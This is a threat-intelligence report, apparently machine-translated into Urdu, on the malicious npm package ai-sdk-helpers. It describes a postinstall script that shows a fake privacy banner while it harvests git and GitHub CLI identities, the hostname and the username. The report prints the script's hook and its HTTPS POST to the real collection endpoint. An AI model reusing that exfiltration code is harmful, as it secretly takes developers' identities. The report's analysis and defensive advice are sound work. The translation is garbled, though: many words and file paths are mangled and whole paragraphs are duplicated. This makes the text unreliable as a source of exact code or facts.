TL؛ ڈاکٹر
ایک واحد این پی ایم پیکیج، ai-sdk-helpers، خود کو Vercel AI SDK کے لیے ایک پروڈکشن ٹول کٹ کے طور پر پیش کرتا ہے، جو لاگت سے باخبر رہنے، فراہم کنندہ کے فال بیک، اور اسٹریمنگ مددگاروں کی پیشکش کرتا ہے۔
اس کا انسٹال ٹائم اسکرپٹ ایک چمکدار انکشاف بینر کے ساتھ کھلتا ہے جس کی وضاحت ہوتی ہے۔ گمنام تشخیص، یہ وعدہ کرتے ہوئے کہ کوئی سورس کوڈ، ٹوکن، یا اسناد منتقل نہیں کی جائیں گی، DO_NOT_TRACK آپٹ آؤٹ، اور ٹیلی میٹری پالیسی کے صفحے سے لنک کرنا۔
وہی اسکرپٹ پھر ڈویلپر کی گٹ شناخت، گٹ ہب سی ایل آئی کنفیگریشن، مشین ہوسٹ نیم، او ایس یوزر نیم، ورکنگ ڈائرکٹری، اور سی آئی فراہم کنندہ کو پڑھتا ہے۔
اس ڈیٹا کو JSON کے بطور گوگل کلاؤڈ رن اینڈ پوائنٹ پر پوسٹ کیا جاتا ہے، جو بیان کردہ ٹیلی میٹری پالیسی اور جمع کردہ اصل فیلڈز کے درمیان واضح مماثلت پیدا کرتا ہے۔
یہ پیکج بائیس ورژنز میں ایک ہی 83 سیکنڈ برسٹ میں شائع ہوا تھا، اور انسٹال اسکرپٹ ہر فلیگ شدہ ورژن میں بائٹ فی بائٹ یکساں ہے۔
آٹھ میں سے سات ورژن جن کا ہمارے ذریعہ جائزہ لیا گیا ہے۔ pipeline ML درجہ بندی کے ذریعہ غیر نتیجہ خیز اسکور کیے گئے تھے کیونکہ رضامندی کے بینر کی اسٹائل جائز ٹیلی میٹری کی طرح پڑھتی ہے۔
ہم درجہ بندی کرتے ہیں۔ ai-sdk-helpers انسٹال ٹائم ڈویلپر کی شناخت جمع کرنے اور اخراج کی بنیاد پر بدنیتی پر مبنی۔
شدت: زیادہ۔
انسٹال کی اناٹومی
{ "scripts": { "postinstall": "node scripts/postinstall.js" } } پوسٹ انسٹال خود کار طریقے سے چلتا ہے این ایم پی انسٹالاس سے پہلے کہ پیکیج کا کوئی بھی اشتہاری کوڈ درآمد کیا جائے۔ سکرپٹ scripts/postinstall.js وہ جگہ ہے جہاں انسٹال وقت کا تمام برتاؤ رہتا ہے۔
یہ ایک تبصرہ بلاک اور رن ٹائم نوٹس کے ساتھ کھلتا ہے جو پرائیویسی سے آگاہ اوپن سورس پروجیکٹ کے رجسٹر میں لکھا ہوا ہے:
جب آپ ai-sdk-helpers انسٹال کرتے ہیں، تو ہم ایک فوری ماحول کی مطابقت کی جانچ کرتے ہیں اور گمنام تشخیص کی اطلاع دیتے ہیں… ڈیٹا مکمل طور پر گمنام ہے — ہم آپ کا پلیٹ فارم، نوڈ ورژن، اور آپ کے مشین شناخت کنندہ کا یک طرفہ ہیش جمع کرتے ہیں۔ کوئی سورس کوڈ، ٹوکن، یا اسناد کبھی بھی منتقل نہیں کی جاتی ہیں۔
یہاں تک کہ یہ ایک ورکنگ آپٹ آؤٹ گیٹ کو تار لگاتا ہے، فائل میں پہلا قابل عمل کوڈ:
if ( process.env.AI_SDK_HELPERS_TELEMETRY_DISABLED === "1" || process.env.DO_NOT_TRACK === "1" ) { process.exit(0); } اس گیٹ کو پہلے لگانا وہی ہے جو باقی کو متفقہ طور پر پڑھتا ہے: ایک ڈویلپر جو سیٹ کرتا ہے۔ `D_NOT_TRACK` ees خاموشی سے انسٹال مکمل ہو جاتا ہے اور کنونشن کے اعزاز میں پیکج کا اختتام ہوتا ہے۔ معزز آپٹ آؤٹ حقیقی ہے۔ ہر ایک کے لیے جو اسے متعین نہیں کرتا ہے، وہ ذیل میں بیان کردہ مجموعہ ہے — نوٹس کے ناموں کا تنگ "پلیٹ فارم، نوڈ ورژن، اور ایک طرفہ ہیش" نہیں۔
اس گیٹ کے نیچے، اسکرپٹ ایک پے لوڈ کو جمع کرتا ہے جو اس تفصیل سے آگے نکل جاتا ہے۔
- *Gt شناخت۔* rحلScmشناخت()'' eads `~.gitconfig`،`~.config/git/config`،اور موجودہ پروجیکٹ کی `.it/config`،تجزیہ کرتا ہے `[ser]` ection، اور تشکیل شدہ کو واپس کرتا ہے۔ commit ای میل اگر کسی بھی کنفگ فائل سے ای میل نہیں ملتی ہے، تو یہ `G پر واپس آتی ہے۔T_AUTHOR_EMAIL`،`GT_COMMITTER_EMAIL`،اور 'ایAIL' ماحولیاتی متغیرات فنکشن کے اوپر ایک ڈاکسٹرنگ پڑھنے کو "ایک ہی شخص (جیسے لیپ ٹاپ + CI)) کی ملکیت والی مشینوں میں انسٹال کو ڈپلیکیٹ کرنے کے طریقے کے طور پر تیار کرتی ہے - ایک بیان کردہ مقصد جس کے لیے ایک مستحکم فی ڈویلپر شناخت کنندہ کی ضرورت ہوتی ہے، جو کہ commit ای میل کی فراہمی.
- *GtHub اکاؤنٹ۔* rحل GitHubIdentity()` eads `~.config/gh/hosts.yml` nd `~.config/gh/hosts.yaml` کنفیگریشن فائل GitHub CLI کی طرف سے لکھی گئی ہے جب ایک ڈویلپر تصدیق کرتا ہے — اور regex نکالتا ہے `uer:` nd `eail:` فیلڈز وہ فائل GitHub OAuth ٹوکن کو بھی اسٹور کرتی ہے۔ اسکرپٹ کا ریجیکس صارف نام اور ای میل لائنوں کو خاص طور پر نشانہ بناتا ہے اور ٹوکن کو نہیں نکالتا ہے۔ انکشاف بینر کا "کوئی ٹوکن نہیں… کبھی بھی منتقل نہیں کیا جاتا ہے" کا دعوی اس ایک فیلڈ کے لیے لفظی طور پر درست ہے جب کہ آس پاس کے اکاؤنٹ کے شناخت کنندگان کو پڑھا اور بھیجا جاتا ہے۔
- *Hst اور CI فنگر پرنٹ۔* وہ اسکرپٹ پھر `o جمع کرتا ہے۔.hostname()`,`o.userInfo().username`،نوڈ ورژن، پلیٹ فارم اور فن تعمیر، `pocess.cwd()`،اور آٹھ فراہم کنندگان (GitHub ایکشنز، GitLab CI، Jenkins، CircleCI، Travis، Buildkite، اور دو عام-CI جھنڈے) کے لیے ماحولیاتی متغیرات کی جانچ کرکے ایک CI-پرووائیڈر لیبل حل کیا گیا ہے۔ فراہم کنندہ کی فہرست ایک انوینٹری کے طور پر پڑھتی ہے جہاں اسکرپٹ کو عمل درآمد کی توقع ہے - انٹرایکٹو شیلز اور خودکار تعمیر pipelineایک جیسا ہے
ان سب کو ایک ہی `d میں گروپ کیا گیا ہے۔agnostics` bject، فی ڈیولپر فیلڈز کے ساتھ جو ایک `i کے تحت جمع کیے گئے ہیں۔ہستی'' ey اور `r کے تحت میزبان ڈیٹاntime` nd `cntext` eys، پھر سیریلائزڈ اور منتقل کیا گیا:
const req = https.request( { hostname: "npm-package-logger-228835561205.europe-west1.run.app", path: "/", method: "POST", headers: { "Content-Type": "application/json" }, timeout: 5000, }, () => {} ); req.on("error", () => {}); req.write(body); req.end(); اس کے جواب کو مسترد کردیا جاتا ہے اور تمام غلطیاں نگل جاتی ہیں - ایک تبصرہ نوٹ کرتا ہے کہ "ٹیلی میٹری کو کبھی بھی انسٹال نہیں کرنا چاہئے۔" اختتامی نقطہ میزبان نام گوگل کلاؤڈ رن سروس کو `e میں انکوڈ کرتا ہے۔rope-west1` egion
خلا ہی کہانی ہے۔ بینر ڈیٹا کی تین اقسام کے نام دیتا ہے - پلیٹ فارم، نوڈ ورژن، مشین شناخت کنندہ ہیش۔ پے لوڈ ایک ڈویلپر کا اصلی گٹ بھیجتا ہے۔ commit ای میل، ان کا GitHub صارف نام اور ای میل، ان کی مشین کا میزبان نام اور OS اکاؤنٹ کا نام، ان کا پروجیکٹ پاتھ، اور ان کا CI ماحول۔ وہ فیلڈز جو ایک *p کی شناخت کرتے ہیں۔آرسن اور ان کے اکاؤنٹس* بالکل وہی فیلڈز جو افشاء کو چھوڑ دیتے ہیں۔
README دوسری طرف سے فریمنگ کو مضبوط کرتا ہے۔ اس کا "ٹیلی میٹری" سیکشن گمنامی کے دعوے کو دہراتا ہے اور لفظ `D کو جوڑتا ہے۔_NOT_TRACK` o`cnsoledonottrack.com`،حقیقی کمیونٹی کا صفحہ جو آپٹ آؤٹ کنونشن کو دستاویز کرتا ہے — ایک تسلیم شدہ رازداری کا قرض لینا standard نوٹس کو معمول کے مطابق پڑھنے کے لیے۔
ٹائم لائن
یہ ایک واحد پیکیج کی تلاش ہے جس میں اشاعت کی بہت مختصر تاریخ ہے۔ ٹریس کرنے کے لیے کوئی کثیر ہفتہ مہم آرک نہیں ہے — پوری ورژن کی حد کو مشین کی رفتار سے آگے بڑھایا گیا تھا۔
| جب (UTC) | واقعہ |
|---|---|
| 2026-06-03 20:31:20 | پہلا ورژن (0.1.0) npm پر شائع ہوا۔ |
| 2026-06-03 20:31:20 – 20:32:43 | تمام 22 ورژن (0.1.0 کے ذریعے 1.4.2) 83 سیکنڈ کے خودکار برسٹ میں شائع ہوا۔ |
| 2026-06-04 | پتہ لگانے کے سگنلز کے ذریعے جھنڈے والے آٹھ ورژن؛ دستی تجزیہ انسٹال وقت کی شناخت جمع کرنے اور اخراج کی تصدیق کرتا ہے۔ تجزیہ کے وقت پیکج npm پر لائیو رہا۔ |
22 سیمنٹک ورژنز میں 83 سیکنڈ کی ونڈو بذات خود ایک رویے کا اشارہ ہے: ورژن کی سیڑھی (`01.0`،`01.1`،… `14.2`)ایک فعال طور پر برقرار رکھے گئے پروجیکٹ کی سطح کو ریلیز ہسٹری کے ساتھ پیش کرتا ہے، جو ایک اسکرپٹڈ رن میں تیار ہوتا ہے۔ انسٹال اسکرپٹ اس سیڑھی کے پار تبدیل نہیں ہوتا ہے - نیچے دیکھیں۔
سمجھوتہ کے اشارے
انسٹال ٹائم پے لوڈ شائع شدہ ورژن کی حد میں یکساں ہے۔ A`dff` f`sripts/postinstall.js` ورژن `0 کے درمیان2.1`۔ nd ورژن `14.2`۔ کوئی فرق نہیں ہے؛ رویہ ایک فکسڈ فنگر پرنٹ ہے، ایک ابھرتا ہوا پے لوڈ نہیں۔
نیٹ ورک
22 سیمنٹک ورژنز میں 83 سیکنڈ کی ونڈو بذات خود ایک رویے کا اشارہ ہے: ورژن کی سیڑھی (`01.0`،`01.1`،… `14.2`)ایک فعال طور پر برقرار رکھے گئے پروجیکٹ کی سطح کو ریلیز ہسٹری کے ساتھ پیش کرتا ہے، جو ایک اسکرپٹڈ رن میں تیار ہوتا ہے۔ انسٹال اسکرپٹ اس سیڑھی کے پار تبدیل نہیں ہوتا ہے - نیچے دیکھیں۔
سمجھوتہ کے اشارے
انسٹال ٹائم پے لوڈ شائع شدہ ورژن کی حد میں یکساں ہے۔ A`dff` f`sripts/postinstall.js` ورژن `0 کے درمیان2.1`۔ nd ورژن `14.2`۔ کوئی فرق نہیں ہے؛ رویہ ایک فکسڈ فنگر پرنٹ ہے، ایک ابھرتا ہوا پے لوڈ نہیں۔
نیٹ ورک
| اشارے | کردار |
|---|---|
npm-package-logger-228835561205.europe-west1.run.app | JSON پے لوڈز کے ساتھ HTTPS POST کی درخواستیں وصول کرنے والا اختتامی نقطہ۔ میں گوگل کلاؤڈ رن پر میزبانی کی گئی۔ europe-west1 خطے |
ڈیک انفراسٹرکچر
| اشارے | کردار |
|---|---|
ai-sdk.guide | پیکیج ہوم پیج اور لائیو سائٹ "AI SDK گائیڈ" مصنف کی شناخت کی حمایت کرتی ہے۔ |
ai-sdk.guide/telemetry | ٹیلی میٹری پالیسی URL کا حوالہ انسٹال وقت کے انکشاف کے نوٹس میں دیا گیا ہے۔ |
hello@ai-sdk.guide | مصنف کی ای میل میں اعلان کیا گیا۔ package.json. |
github.com/ai-sdk-guide/ai-sdk-helpers | پیکیج کے ذریعہ اعلان کردہ ماخذ ذخیرہ۔ |
فائلیں انسٹال کے وقت پڑھی جاتی ہیں۔
- -.gitconfig`،`~.config/git/config`،`<wd>/.git/config` git `[ser]` میل
- - .config/gh/hosts.yml`،`~.config/gh/hosts.yaml` GitHub CLI `uer` `eail`
طرز عمل کے دستخط
- – m `pstinstall` ایک بنڈل نوڈ اسکرپٹ کو طلب کرنا
- - آپٹ آؤٹ گیٹ (`A_SDK_HELPERS_TELEMETRY_DISABLED`،`D_NOT_TRACK`)شناخت جمع کرنے سے پہلے، رازداری کی خصوصیت کے طور پر پیش کیا گیا ہے۔
- - JSON آبجیکٹ کی tbound HTTPS POST جس میں git ای میل، GitHub شناخت، میزبان نام، OS صارف نام، cwd، اور CI لیبل ہوتا ہے۔
- - تیزی سے شائع شدہ ورژن کی سیڑھی پر ایک جیسی انسٹال اسکرپٹ
انتساب اور مشاہدہ سلوک
ہم پیکیج اور رجسٹری میٹا ڈیٹا ریکارڈ کے علاوہ کچھ بھی منسوب نہیں کرتے ہیں۔
ریکارڈ کا npm مینٹینر اکاؤنٹ `a ہے۔ielsimon`,پتے کے ساتھ `aiel@vigilance.security`۔رجسٹری اس ای میل کو غیر تصدیق شدہ اور اکاؤنٹ کی سورس کنٹرول شناخت کو غیر تصدیق شدہ کے بطور درج کرتی ہے۔ پیckage.json`،علیحدہ طور پر، مصنف کو "AI SDK گائیڈ" کے طور پر پیش کرتا ہے۔ello@ai-sdk.guide>``a کے ہوم پیج کے ساتھ-sdk.guide` nd ایک `g کے تحت ایک ماخذ ذخیرہthub.com/ai-sdk-guide` تنظیم۔ پبلشنگ اکاؤنٹ کا ای میل ڈومین (`vigilance.security`)اور پیکج میں مصنف کی شناخت (`a-sdk.guide')مختلف ڈومینز ہیں۔
'a-sdk.guide` یہ لائیو ہے اور جواب دیتا ہے، اور `/elemetry` ath حل کرتا ہے - decoy شناخت کو ڈیڈ لنک کے بجائے قابل رسائی ویب کی موجودگی کی حمایت حاصل ہے، جو پیکج کے فریمنگ کے اعتبار کو بڑھاتا ہے۔
**مشاہدہ قابلیت۔** انسٹال کے وقت، پیکیج ڈویلپر کی شناخت اور اکاؤنٹ کنفیگریشن فائلوں کو پڑھتا ہے، میزبان اور CI ماحول کو فنگر پرنٹ کرتا ہے، اور نتیجہ کو آپریٹر کے زیر کنٹرول اینڈ پوائنٹ پر منتقل کرتا ہے، جبکہ ایک نوٹس ڈسپلے کرتا ہے جو ایک تنگ اور گمنام ڈیٹا سیٹ کی وضاحت کرتا ہے۔ ہم اس رویے کی وضاحت کرتے ہیں؛ ہم اس کے لئے ایک مقصد پر زور نہیں دیتے. پیکیج کا جائزہ لینے والے قارئین — بشمول کوئی بھی فریق جو اشاعت کی شناخت کو تسلیم کرتا ہے — کو بیان کردہ اور حقیقی ڈیٹا کے بہاؤ کے درمیان قابل مشاہدہ مماثلت کا وزن کرنا چاہیے۔
محافظوں کے لیے اثر، رجحانات اور رہنمائی
جو بے نقاب ہے۔ جو بھی انسٹال کرتا ہے۔ ai-sdk-helpers — براہ راست یا ایک عبوری انحصار کے طور پر — اس مشین پر مجموعہ چلاتا ہے۔ کیونکہ محرک ہے۔ پوسٹ انسٹال, مشتہر لائبریری کوڈ کو کبھی بھی ڈیٹا کے بہاؤ کے لیے درآمد نہیں کرنا پڑتا ہے۔ اکیلے انسٹال کافی ہے. سب سے زیادہ قدر والے ماحول ایک ترتیب شدہ گٹ شناخت اور ایک مستند GitHub CLI، اور CI رنرز کے ساتھ ڈویلپر ورک سٹیشنز ہیں، جہاں اسکرپٹ کا CI-پرووائیڈر کا پتہ لگانا اس بات کی نشاندہی کرتا ہے کہ مجموعہ تعمیر کے اندر چلے گا۔ pipelines کے ساتھ ساتھ لیپ ٹاپ پر۔
جو یہ بے نقاب کرتا ہے۔ عام صورت میں درخواست کے راز نہیں - پے لوڈ سینٹرز آن شناخت: ڈویلپر کا commit ای میل، ان کے GitHub اکاؤنٹ کا نام اور ای میل، مشین اور اکاؤنٹ کے نام، اور پروجیکٹ کا راستہ۔ یہ ایک پری ہےcisای نقشہ کہ پیکیج کس نے انسٹال کیا، کس مشین پر، کس ریپوزٹری میں، اور کس CI سسٹم کے تحت۔ ایک تنظیم کے لیے، مٹھی بھر اس طرح کے ریکارڈز کو اکٹھا کیا جائے گا کہ کون سے انجینئرز اور کون سے سسٹمز نے انحصار کو کھینچا ہے - زیادہ ٹارگٹڈ فالو آن سرگرمی کے پیش خیمہ کے طور پر کارآمد ہے، حالانکہ اس پیکج کا اپنا رویہ جمع اور ترسیل پر رک جاتا ہے۔
رجحان: ٹیلی میٹری بطور کور۔ قانونی ڈویلپر ٹولز گمنام انسٹال کی تشخیص، اور اسے احترام کے ساتھ کرنے کے کنونشنز جمع کرتے ہیں - ایک انکشاف نوٹس، ایک DO_NOT_TRACK کریں۔ اعزاز، ایک آپٹ آؤٹ جھنڈا، ایک پالیسی یو آر ایل — معروف ہیں۔ ai-sdk-helpers ان چاروں کنونشنوں کو وفاداری کے ساتھ دوبارہ پیش کرتا ہے اور شناخت جمع کرنے کے لیے انہیں ریپر کے طور پر استعمال کرتا ہے۔ رضامندی کے بینر، ایک ورکنگ آپٹ آؤٹ، یا پرائیویسی پالیسی لنک کی موجودگی اس بات کا ثبوت نہیں ہے کہ پیکیج قابل اعتماد ہے۔ وہ کنٹرول نقل کرنے کے لیے سستے ہیں۔ واحد قابل اعتماد چیک یہ ہے کہ کوڈ اصل میں کیا پڑھتا ہے اور یہ اصل میں اسے کہاں بھیجتا ہے۔
یہ پیکیجنگ خودکار ٹرائیج پر بھی قابل پیمائش اثر رکھتی ہے۔ ورژن بھر میں ہمارے pipeline جائزہ لیا گیا، انسٹال اسکرپٹ کے سادہ زبان کے تبصرے، سٹرکچرڈ فیلڈ کے نام، اور روایتی آپٹ آؤٹ گیٹ کو عام ٹیلی میٹری کے طور پر اسکور کیا گیا: آٹھ میں سے سات واپس آئے بے نتیجہ بدنیتی کی بجائے ML درجہ بندی سے۔ ابہام کو دور کرنے والا اشارہ نثر میں نہیں ہے - یہ مخصوص فائلوں میں ہے جو اسکرپٹ کھلتا ہے (~/.gitconfig, ~/.config/gh/hosts.yml) اور جس منزل پر یہ بھیجتا ہے۔ ایک جائزہ لینے والا، خودکار یا انسان، جو انکشاف کو پڑھتا ہے اور وہیں رک جاتا ہے وہ غلط نتیجے پر پہنچے گا۔ اس کا تعین ڈیٹا کے بہاؤ کے حقائق سے ہونا چاہیے۔
محافظوں کے لیے رہنمائی:
- بطور ڈیفالٹ غیر فعال اسکرپٹس کے ساتھ انسٹال کریں۔ این پی ایم انسٹال - نظر انداز - اسکرپٹس، یا سیٹ ignore-scripts=true in .npmrc اور واضح طور پر جانچ شدہ تعمیراتی اقدامات کو چلائیں۔ یہ neutralizes پوسٹ انسٹال- پورے بورڈ میں مجموعہ کو متحرک کیا۔
- آپٹ آؤٹ کنٹرولز کو ٹرسٹ سگنلز کے طور پر مت سمجھیں۔ اے DO_NOT_TRACK کریں۔ چیک کریں یا "ٹیلی میٹری پالیسی" کا لنک آپ کو اس ڈیٹا کے بارے میں کچھ نہیں بتاتا ہے جو اسکرپٹ جمع کرتا ہے جب گیٹ سیٹ نہیں ہوتا ہے۔
- AI-ecosystem مددگار پیکجز کو اپنانے سے پہلے انسٹال ہک کو پڑھیں۔ Vercel AI SDK اسپیس ایک تیز رفتار، اعلیٰ اعتماد کا ہدف ہے۔ a پوسٹ انسٹال جو چھوتا ہے ~/.gitconfig or ~/.config/gh/ ایک واضح اشارہ ہے قطع نظر اس کے کہ ارد گرد کے تبصرے کیسے لکھے جاتے ہیں۔
- تعمیراتی وقت کے اخراج کی نگرانی کریں۔ کے دوران ایک آؤٹ باؤنڈ HTTPS پوسٹ این ایم پی انسٹال، خاص طور پر ایک تازہ فراہم کردہ کلاؤڈ فنکشن اینڈ پوائنٹ پر، نیٹ ورک کی پرت پر قابل مشاہدہ ہے اور CI ماحولیات کے لیے ایک مضبوط پتہ لگانے والا مقام ہے۔
- کمپریسڈ ورژن کی سیڑھیوں کو دیکھیں۔ ایک پیکج جس کی مکمل سیمنٹک ورژن کی تاریخ سیکنڈوں میں ظاہر ہوتی ہے، ایک غیر تبدیل شدہ انسٹال اسکرپٹ کے ساتھ، مینوفیکچرڈ مینٹیننس ہسٹری پیش کر رہا ہے۔





